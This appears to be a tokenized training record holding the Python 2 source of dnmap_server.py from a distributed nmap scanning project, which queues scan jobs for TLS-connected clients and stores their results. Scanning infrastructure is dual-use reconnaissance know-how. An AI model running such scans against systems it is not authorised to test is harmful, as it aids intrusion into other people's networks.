32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
sixdub/Minions
scan_engine/dnmap_server.py
1
25935
#! /usr/bin/env python # # DNmap Server - Edited by Justin Warner (@sixdub). Originally written by Sebastian Garcia # Orginal Copyright and license (included below) applies. # # This is the server code to be used in conjunction with Minions, a collaborative distributed # scanning solution. # # # DNmap Version Modified: .6 # Copyright (C) 2009 Sebastian Garcia # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # # Author: # Sebastian Garcia eldraco@gmail.com # # Based on code from Twisted examples. # Copyright (c) Twisted Matrix Laboratories. # import logging import logging.handlers import datetime import sqlite3 import os import xml.etree.ElementTree as ET try: from twisted.internet.protocol import Factory, Protocol from twisted.internet import ssl, reactor, task from twisted.python import log from twisted.python.logfile import DailyLogFile except: print 'You need twisted library. apt-get install python-twisted-bin python-twisted-core' exit(-1) import getopt, sys, time, os try: from OpenSSL import SSL except: print 'You need python openssl library. apt-get install python-openssl' exit(-1) # Global variables vernum='0.6' nmap_commands_file = '' nmap_command = [] nmap_commands_sent = [] trace_file = '' nmap_output_coming_back = False XML_file= '' GNmap_file='' outputswitch='' file_position = 0 clients = {} port=8001 clientes = {} base_dir = os.path.dirname(os.path.abspath(__file__)) output_file=os.path.join(base_dir,"current_output") log_file=os.path.join(base_dir, "log") log_level='info' sql_conn='' sql_file='' verbose_level = 2 # 0: quiet # 1: info, normal # 2: Statistical table # 3: debug # 4: ? # 5: ? # This is to assure that the first time we run, something is shown temp = datetime.datetime.now() delta = datetime.timedelta(seconds=5) last_show_time = temp - delta # defaults to 1 hour client_timeout = 14400 sort_type = 'Status' # By default in the same directory pemfile = os.path.join(base_dir,'server.pem') cafile = os.path.join(base_dir,'ca.pem') # End of global variables # Print version information and exit def version(): print "+----------------------------------------------------------------------+" print "| dnmap_server Version "+ vernum +" |" print "| This program is free software; you can redistribute it and/or modify |" print "| it under the terms of the GNU General Public License as published by |" print "| the Free Software Foundation; either version 2 of the License, or |" print "| (at your option) any later version. |" print "| |" print "| Author: Garcia Sebastian, eldraco@gmail.com |" print "| www.mateslab.com.ar |" print "+----------------------------------------------------------------------+" print # Print help information and exit: def usage(): print "+----------------------------------------------------------------------+" print "| dnmap_server Version "+ vernum +" |" print "| This program is free software; you can redistribute it and/or modify |" print "| it under the terms of the GNU General Public License as published by |" print "| the Free Software Foundation; either version 2 of the License, or |" print "| (at your option) any later version. |" print "| |" print "| Author: Garcia Sebastian, eldraco@gmail.com |" print "| www.mateslab.com.ar |" print "+----------------------------------------------------------------------+" print "\nusage: %s <options>" % sys.argv[0] print "options:" print " -f, --nmap-commands Nmap commands file" print " -p, --port TCP port where we listen for connections." print " -L, --log-file Log file. Defaults to /var/log/dnmap_server.conf." print " -l, --log-level Log level. Defaults to info." print " -v, --verbose_level Verbose level. Give a number between 1 and 5. Defaults to 1. Level 0 means be quiet." print " -t, --client-timeout How many time should we wait before marking a client Offline. We still remember its values just in case it cames back." print " -s, --sort Field to sort the statical value. You can choose from: Alias, #Commands, UpTime, RunCmdXMin, AvrCmdXMin, Status" print " -P, --pemfile pem file to use for TLS connection. By default we use the server.pem file provided with the server in the current directory." print print "dnmap_server uses a \'<nmap-commands-file-name>.dnmaptrace\' file to know where it must continue reading the nmap commands file. If you want to start over again," print "just delete the \'<nmap-commands-file-name>.dnmaptrace\' file" print sys.exit(1) def timeout_idle_clients(): """ This function search for idle clients and mark them as offline, so we do not display them """ global mlog global verbose_level global clients global client_timeout try: for client_id in clients: now = datetime.datetime.now() time_diff = now - clients[client_id]['LastTime'] if time_diff.seconds >= client_timeout: clients[client_id]['Status']='Offline' except Exception as inst: if verbose_level > 2: msgline = 'Problem in mark_as_idle function' mlog.error(msgline) print msgline msgline = type(inst) mlog.error(msgline) print msgline msgline = inst.args mlog.error(msgline) print msgline msgline = inst mlog.error(msgline) print msgline def read_file_and_fill_nmap_variable(): """ Here we fill the nmap_command with the lines of the txt file. Only the first time. Later this file should be filled automatically""" global nmap_commands_file global nmap_command global trace_file global file_position global mlog global verbose_level global sql_conn global sql_file with open(nmap_commands_file,'r') as f: jobs = f.readlines() #make sure all jobs in file are in queue for job in jobs: if not job in nmap_command: nmap_command.insert(0,job) mlog.debug('New Job: {0}'.format(job)) #clear queue of things not in jobs file for job in nmap_command: if not job in jobs: nmap_command.remove(job) return def verifyCallback(connection, x509, errnum, errdepth, ok): if not ok: print "Invalid cert from subject: ",x509.get_subject() return False else: return True class ServerContextFactory: global mlog global verbose_level global pemfile global cafile """ Only to set up SSL""" def getContext(self): """ Create an SSL context. """ try: ctx = SSL.Context(SSL.SSLv23_METHOD) ctx.use_certificate_file(pemfile) ctx.use_privatekey_file(pemfile) except: print "Unexpected error:", sys.exc_info()[0] print 'You need to have a server.pem file for the server to work' print pemfile exit(-1) try: ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verifyCallback) ctx.load_verify_locations(cafile) except: print "Unexpected error:", sys.exc_info()[0] print 'You need to have a ca.pem file for the server to work' print cafile exit(-1) return ctx def show_info(): global verbose_level global mlog global clients global last_show_time global start_time global sort_type global output_file of = open(output_file, "w") try: now = datetime.datetime.now() diff_time = now - start_time amount = 0 for j in clients: if clients[j]['Status'] != 'Offline': amount += 1 if verbose_level > 0: line = '=| MET:{0} | Amount of Online clients: {1} |='.format(diff_time, amount) print line mlog.debug(line) of.write(line+"\n") if clients != {}: if verbose_level > 1: line = 'Clients connected' print line mlog.debug(line) of.write(line+"\n") line = '-----------------' print line mlog.debug(line) of.write(line+"\n") #line = 'Alias\t#Commands\tLast Time Seen\t\t\tVersion\tIsRoot\tStatus' line = '{0:15}\t{1}\t{2}\t{3}\t{4}\t\t{5}\t{6}\t{7}\t{8}\t{9}'.format('Alias','#Commands','Last Time Seen', '(time ago)', 'UpTime', 'Version', 'IsRoot', 'RunCmdXMin', 'AvrCmdXMin', 'Status') print line mlog.debug(line) of.write(line+"\n") for i in clients: if clients[i]['Status'] != 'Offline': # Strip the name of the day and the year temp = clients[i]['LastTime'].ctime().split(' ')[1:-1] lasttime = '' for j in temp: lasttime = lasttime + str(j) + ' ' time_diff = datetime.datetime.now() - clients[i]['LastTime'] #time_diff_secs = int(time_diff.total_seconds() % 60) #time_diff_secs = int(time_diff.seconds % 60) time_diff_secs = int( (time_diff.seconds + (time_diff.microseconds / 1000000.0) ) % 60) #time_diff_mins = int(time_diff.total_seconds() / 60) #time_diff_mins = int(time_diff.seconds / 60) time_diff_mins = int( (time_diff.seconds + (time_diff.microseconds / 1000000.0) ) / 60) uptime_diff = datetime.datetime.now() - clients[i]['FirstTime'] #uptime_diff_hours = int(uptime_diff.total_seconds() / 3600) #uptime_diff_hours = int(uptime_diff.seconds / 3600) uptime_diff_hours = int( (uptime_diff.seconds + (uptime_diff.microseconds / 1000000.0)) / 3600) #uptime_diff_mins = int(uptime_diff.total_seconds() % 3600 / 60) #uptime_diff_mins = int(uptime_diff.seconds % 3600 / 60) uptime_diff_mins = int( ((uptime_diff.seconds % 3600) + (uptime_diff.microseconds / 1000000.0)) / 60) line = '{0:15}\t{1}\t\t{2}({3:2d}\'{4:2d}\")\t{5:2d}h{6:2d}m\t\t{7}\t{8}\t{9:10.1f}\t{10:9.1f}\t{11}'.format(clients[i]['Alias'], clients[i]['NbrCommands'], lasttime, time_diff_mins, time_diff_secs, uptime_diff_hours, uptime_diff_mins , clients[i]['Version'], clients[i]['IsRoot'], clients[i]['RunCmdsxMin'], clients[i]['AvrCmdsxMin'], clients[i]['Status']) print line mlog.debug(line) of.write(line+"\n") print last_show_time = datetime.datetime.now() of.close() except Exception as inst: if verbose_level > 2: msgline = 'Problem in show_info function' mlog.error(msgline) print msgline msgline = type(inst) mlog.error(msgline) print msgline msgline = inst.args mlog.error(msgline) print msgline msgline = inst mlog.error(msgline) print msgline def send_one_more_command(ourtransport,client_id): # Extract the next command to send. global nmap_command global verbose_level global mlog global clients global nmap_commands_file global trace_file try: alias = clients[client_id]['Alias'] command_to_send = nmap_command.pop() line = 'Data sent to client ID '+client_id+' ('+alias+')' log.msg(line, logLevel=logging.INFO) if verbose_level > 2: print line line= '\t'+command_to_send.strip('\n') log.msg(line, logLevel=logging.INFO) if verbose_level > 2: print line ourtransport.transport.write(command_to_send) #remove the cmd from the pending job file and add to trace file with open(nmap_commands_file, "r") as f: jobs = f.readlines() jobs.remove(command_to_send) with open(nmap_commands_file, "w") as f: f.writelines(jobs) #add to tracefile with open(trace_file, "a+") as f: f.writelines(command_to_send) clients[client_id]['NbrCommands'] += 1 clients[client_id]['LastCommand'] = command_to_send clients[client_id]['Status'] = 'Executing' except IndexError: # If the list of commands is empty, look for new commands line = 'No more commands in queue.' log.msg(line, logLevel=logging.DEBUG) if verbose_level > 2: print line line = '\tMaking the client '+str(client_id)+' ('+str(alias)+')'+' wait 10 secs for new commands to arrive...' log.msg(line, logLevel=logging.DEBUG) if verbose_level > 2: print line ourtransport.transport.write('Wait:10') except Exception as inst: print 'Problem in Send More Commands' print type(inst) print inst.args print inst def process_input_line(data,ourtransport,client_id): global mlog global verbose_level global clients global trace_file global nmap_command global nmap_output_coming_back global nmap_output_file global xml_output_file global gnmap_output_file global outputswitch try: # What to do. Send another command or store the nmap output? if 'Starts the Client ID:' in data: # No more nmap lines coming back if nmap_output_coming_back: nmap_output_coming_back = False alias = data.split(':')[3].strip('\n').strip('\r').strip(' ') try: client_version = data.split(':')[5].strip('\n').strip('\r').strip(' ') client_isroot = 'False' if data.split(':')[7].strip('\n').strip('\r').strip(' ') == 0 else 'True' except IndexError: # It is an old version and it is not sending these data client_version = '0.1?' client_isroot = '?' try: # Do we have it yet? value = clients[client_id]['Alias'] # Yes except KeyError: # No clients[client_id] = {} clients[client_id]['Alias'] = alias clients[client_id]['FirstTime'] = datetime.datetime.now() clients[client_id]['LastTime'] = datetime.datetime.now() clients[client_id]['NbrCommands'] = 0 clients[client_id]['Status'] = 'Online' clients[client_id]['LastCommand'] = '' clients[client_id]['Version'] = client_version clients[client_id]['IsRoot'] = client_isroot clients[client_id]['RunCmdsxMin'] = 0 clients[client_id]['AvrCmdsxMin'] = 0 msgline = 'Client ID connected: {0} ({1})'.format(str(client_id),str(alias)) log.msg(msgline, logLevel=logging.INFO) if verbose_level > 1: print '+ '+msgline elif 'Send more commands' in data: alias = clients[client_id]['Alias'] clients[client_id]['Status'] = 'Online' #nowtime = datetime.datetime.now().ctime() nowtime = datetime.datetime.now() clients[client_id]['LastTime'] = nowtime # No more nmap lines coming back if nmap_output_coming_back: nmap_output_coming_back = False send_one_more_command(ourtransport,client_id) elif 'Nmap Output File' in data and not nmap_output_coming_back: # Nmap output start to come back... nmap_output_coming_back = True outputswitch=0 alias = clients[client_id]['Alias'] clients[client_id]['Status'] = 'Online' # compute the commands per hour # 1 more command. Time is between lasttimeseen and now time_since_cmd_start = datetime.datetime.now() - clients[client_id]['LastTime'] # Cummulative average prev_ca = clients[client_id]['AvrCmdsxMin'] #commandsXsec = ( time_since_cmd_start.total_seconds() + (clients[client_id]['NbrCommands'] * prev_ca) ) / ( clients[client_id]['NbrCommands'] + 1 ) #clients[client_id]['RunCmdsxMin'] = cmds_per_min = 60 / time_since_cmd_start.total_seconds() clients[client_id]['RunCmdsxMin'] = 60 / ( time_since_cmd_start.seconds + ( time_since_cmd_start.microseconds / 1000000.0)) clients[client_id]['AvrCmdsxMin'] = ( clients[client_id]['RunCmdsxMin'] + (clients[client_id]['NbrCommands'] * prev_ca) ) / ( clients[client_id]['NbrCommands'] + 1 ) # update the lasttime nowtime = datetime.datetime.now() clients[client_id]['LastTime'] = nowtime # Create the dir os.system('mkdir %s/nmap_results > /dev/null 2>&1'%base_dir) # Get the output file from the data # We strip \n. filename = data.split(':')[1].strip('\n') xml_output_file = "%s/nmap_results/%s.xml"%(base_dir, filename) nmap_output_file = "%s/nmap_results/%s.nmap"%(base_dir, filename) gnmap_output_file = "%s/nmap_results/%s.gnmap"%(base_dir, filename) if verbose_level > 2: log.msg('\tNmap output file is: {0}'.format(nmap_output_file), logLevel=logging.DEBUG) clientline = 'Client ID:'+client_id+':Alias:'+alias+"\n" with open(nmap_output_file, 'a+') as f: f.writelines(clientline) with open(xml_output_file, 'a+') as f: f.writelines(clientline) with open(gnmap_output_file, 'a+') as f: f.writelines(clientline) elif nmap_output_coming_back and 'Nmap Output Finished' not in data: # Store the output to a file. alias = clients[client_id]['Alias'] clients[client_id]['Status'] = 'Storing' #nowtime = datetime.datetime.now().ctime() nowtime = datetime.datetime.now() clients[client_id]['LastTime'] = nowtime #print data if "#XMLOUTPUT#" in data: outputswitch=1 elif "#GNMAPOUTPUT#" in data: outputswitch=2 else: if outputswitch==0: with open(nmap_output_file, 'a+') as f: f.writelines(data+'\n') elif outputswitch==1: with open(xml_output_file, 'a+') as f: f.writelines(data+'\n') elif outputswitch==2: with open(gnmap_output_file, 'a+') as f: f.writelines(data+'\n') log.msg('\tStoring nmap output for client {0} ({1}).'.format(client_id, alias), logLevel=logging.DEBUG) elif 'Nmap Output Finished' in data and nmap_output_coming_back: # Nmap output finished nmap_output_coming_back = False alias = clients[client_id]['Alias'] clients[client_id]['Status'] = 'Online' #nowtime = datetime.datetime.now().ctime() nowtime = datetime.datetime.now() clients[client_id]['LastTime'] = nowtime # Store the finished nmap command in the file, so we can retrieve it if we need... finished_nmap_command = clients[client_id]['LastCommand'] clients[client_id]['LastCommand'] = '' #clear out the trace file with open(trace_file, 'r') as f: running_jobs = f.readlines() running_jobs.remove(finished_nmap_command) with open(trace_file, 'w') as f: f.writelines(running_jobs) if verbose_level > 2: print '+ Storing command {0} in trace file.'.format(finished_nmap_command.strip('\n').strip('\r')) outputswitch=0 except Exception as inst: print 'Problem in process input lines' print type(inst) print inst.args print inst class NmapServerProtocol(Protocol): """ This is the function that communicates with the client """ global mlog global verbose_level global clients global nmap_command global mlog def connectionMade(self): if verbose_level > 0: pass def connectionLost(self, reason): peerHost = self.transport.getPeer().host peerPort = str(self.transport.getPeer().port) client_id = peerHost+':'+peerPort try: alias = clients[client_id]['Alias'] except: msgline = 'No client found in list with id {0}. Moving on...'.format(client_id) log.msg(msgline, logLevel=logging.INFO) return 0 clients[client_id]['Status'] = 'Offline' command_to_redo = clients[client_id]['LastCommand'] if command_to_redo != '': #readd to job file and queue nmap_command.append(command_to_redo) with open(nmap_commands_file, "a+") as f: f.writelines(command_to_redo) #clear out the trace file with open(trace_file, 'r') as f: running_jobs = f.readlines() running_jobs.remove(command_to_redo) with open(trace_file, 'w') as f: f.writelines(running_jobs) if verbose_level > 1: msgline = 'Connection lost in the protocol. Reason:{0}'.format(reason) msgline2 = '+ Connection lost for {0} ({1}).'.format(alias, client_id) log.msg(msgline, logLevel=logging.DEBUG) print msgline2 if verbose_level > 2: print 'Re inserting command: {0}'.format(command_to_redo) def dataReceived(self, newdata): #global client_id data = newdata.strip('\r').strip('\n').split('\r\n') peerHost = self.transport.getPeer().host peerPort = str(self.transport.getPeer().port) client_id = peerHost+':'+peerPort # If you need to debug if verbose_level > 2: log.msg('Data recived', logLevel=logging.DEBUG) log.msg(data, logLevel=logging.DEBUG) print '+ Data received: {0}'.format(data) for line in data: process_input_line(line,self,client_id) def sql_import_loop(): global sql_file global sql_conn global mlog tree="" #Process all files in the nmap_results directory path = "%s/nmap_results/"%base_dir newpath="%s/nmap_results/processed/"%base_dir try: os.stat(path) os.stat(newpath) except: os.mkdir(path) os.mkdir(newpath) output_files = os.listdir("%s/nmap_results/"%base_dir) scan_id="" for ofile in output_files: complete=path+ofile if os.path.isfile(complete): if ofile.endswith(".xml"): try: scan_id=ofile.split(".xml")[0] log.msg("XML File Found: %s"%scan_id, logLevel=logging.INFO) #take off the first line first, then pass to parser xmlf = open(complete, "r") data = xmlf.read() xmlf.close() lines = data.split("\n") log.msg("Importing %s.xml from: %s"%(scan_id,lines[0]), logLevel=logging.INFO) xmldata = "".join(lines[1:]) tree = ET.fromstring(xmldata) except: log.msg(sys.exc_info()[0], logLevel=logging.DEBUG) raise os.rename(complete, newpath+ofile) #connect the DB sql_conn=sqlite3.connect(sql_file) c = sql_conn.cursor() if len(tree)>0: #get info about the scan s_version = tree.get("version") s_summary="" if not tree.find("runstats").find("finished") == None: s_summary = tree.find("runstats").find("finished").get("summary") i=(s_version, s_summary,True,scan_id,) c.execute('UPDATE scans_scan SET version=?, summary=?, finished=? WHERE id=?', i) sql_conn.commit() sql_conn.close() def process_nmap_commands(logger_name): """ Main function. Here we set up the environment, factory and port """ global nmap_commands_file global nmap_command global port global mlog global verbose_level global client_timeout observer = log.PythonLoggingObserver(logger_name) observer.start() # Create the factory factory = Factory() factory.protocol = NmapServerProtocol # Create the time based print loop = task.LoopingCall(show_info) loop.start(5) # Create the time based file read loop2 = task.LoopingCall(read_file_and_fill_nmap_variable) loop2.start(1) # To mark idel clients as hold loop3 = task.LoopingCall(timeout_idle_clients) loop3.start(client_timeout) # call every second if not sql_file =="": loop4 = task.LoopingCall(sql_import_loop) loop4.start(5) # Create the reactor reactor.listenSSL(port, factory, ServerContextFactory()) reactor.run() def main(): global nmap_commands_file global port global log_file global log_level global mlog global verbose_level global start_time global client_timeout global sort_type global pemfile global cafile global sql_file global output_file global trace_file start_time = datetime.datetime.now() try: opts, args = getopt.getopt(sys.argv[1:], "f:l:L:p:P:c:s:t:v:S:o:", ["nmap-commands=","log-level=","log-server=","port=","pemfile=", "ca-file=","sort-type=","client-timeout=","verbose-level=", "sqlite-file=", "output-file"]) except getopt.GetoptError: usage() for opt, arg in opts: if opt in ("-f", "--nmap-commands"): nmap_commands_file=str(arg) if opt in ("-p", "--port"): port=int(arg) if opt in ("-l", "--log-level"): log_level=arg if opt in ("-L", "--log-file"): log_file=arg if opt in ("-v", "--verbose-level"): verbose_level=int(arg) if opt in ("-t", "--client-timeout"): client_timeout=int(arg) if opt in ("-s", "--sort-type"): sort_type=str(arg) if opt in ("-P", "--pemfile"): pemfile=str(arg) if opt in ("-c", "--ca-file"): cafile=str(arg) if opt in ("-S", "--sqlite-file"): sql_file=str(arg) if opt in ("-o", "--output-file"): output_file=str(arg) print "Base Dir: %s"%base_dir try: # Verify that we have a pem file try: temp = os.stat(pemfile) temp2 = os.stat(cafile) except OSError: print 'No pem or cert file given. Use -P or -c' exit(-1) if nmap_commands_file != '': if verbose_level > 0: version() # Set up logger # Set up a specific logger with our desired output level logger_name = 'MyLogger' mlog = logging.getLogger(logger_name) # Set up the log level numeric_level = getattr(logging, log_level.upper(), None) if not isinstance(numeric_level, int): raise ValueError('Invalid log level: %s' % loglevel) mlog.setLevel(numeric_level) # Add the log message handler to the logger handler = logging.handlers.RotatingFileHandler(log_file, backupCount=5) formater = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') handler.setFormatter(formater) mlog.addHandler(handler) # End logger #Get any leftover jobs and populate into jobs/queue trace_file = nmap_commands_file+'.dnmaptrace' with open(trace_file,'r') as f: leftover=f.readlines() with open(nmap_commands_file, 'r') as f: curjobs=f.readlines() for ljob in leftover: if ljob not in curjobs: with open(nmap_commands_file, 'a+') as f: f.writelines(ljob) #clear trace file with open(trace_file,'w') as f: f.write("") # First fill the variable from the file read_file_and_fill_nmap_variable() # Start processing clients process_nmap_commands(logger_name) else: usage() except KeyboardInterrupt: # CTRL-C pretty handling. print "Keyboard Interruption!. Exiting." sys.exit(1) if __name__ == '__main__': main()
gpl-2.0
[ 3168, 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 257, 199, 3, 24842, 1130, 7146, 446, 662, 328, 471, 701, 13870, 262, 644, 1060, 281, 8593, 338, 2207, 456, 680, 31534, 1183, 5313, 701, 428, 2871, 1810, 5653, 598, 285, 16521, 199, 3, 4236, 903, 279, 1898, 436, 4190, 334, 12409, 5084, 9, 12966, 14, 221, 199, 3, 199, 3, 961, 365, 314, 1654, 1233, 370, 506, 1202, 315, 22888, 543, 10195, 15293, 12, 282, 1048, 5561, 269, 1905, 1854, 221, 199, 3, 24928, 8744, 14, 221, 199, 3, 199, 3, 199, 3, 24842, 1130, 3394, 22016, 26, 1275, 22, 199, 3, 1898, 334, 35, 9, 8937, 221, 428, 2871, 1810, 5653, 598, 285, 16521, 199, 3, 199, 3, 221, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 221, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 221, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 199, 3, 221, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 221, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 221, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 221, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 221, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 221, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 221, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 221, 2752, 12, 3277, 2020, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 221, 8217, 199, 3, 199, 3, 199, 3, 6529, 26, 199, 3, 428, 2871, 1810, 5653, 598, 285, 16521, 579, 28385, 331, 32, 6799, 14, 957, 199, 3, 199, 3, 21311, 641, 1233, 687, 17078, 7251, 14, 199, 3, 1898, 334, 67, 9, 17078, 8449, 26640, 14, 199, 3, 199, 199, 646, 2050, 199, 646, 2050, 14, 5586, 199, 646, 2197, 199, 646, 11723, 19, 199, 646, 747, 199, 646, 2748, 14, 9464, 14, 15325, 465, 12265, 199, 199, 893, 26, 199, 198, 504, 7390, 14, 4901, 14, 3922, 492, 23616, 12, 11557, 199, 198, 504, 7390, 14, 4901, 492, 6149, 12, 9655, 12, 2120, 199, 198, 504, 7390, 14, 1548, 492, 943, 199, 198, 504, 7390, 14, 1548, 14, 12804, 492, 577, 17550, 19336, 199, 2590, 26, 199, 198, 1361, 283, 5556, 1929, 7390, 3555, 14, 20932, 13, 362, 3907, 2366, 13, 12145, 13, 1393, 2366, 13, 12145, 13, 1018, 7, 199, 198, 2224, 2801, 17, 9, 199, 199, 646, 12733, 12, 984, 12, 900, 12, 747, 199, 893, 26, 199, 198, 504, 14296, 492, 7799, 199, 2590, 26, 199, 198, 1361, 283, 5556, 1929, 2366, 1551, 4266, 3555, 14, 20932, 13, 362, 3907, 2366, 13, 14837, 7, 199, 198, 2224, 2801, 17, 9, 4388, 199, 3, 13641, 2860, 199, 422, 1507, 534, 16, 14, 22, 7, 199, 78, 1130, 63, 4405, 63, 493, 275, 2125, 199, 78, 1130, 63, 1531, 275, 942, 199, 78, 1130, 63, 4405, 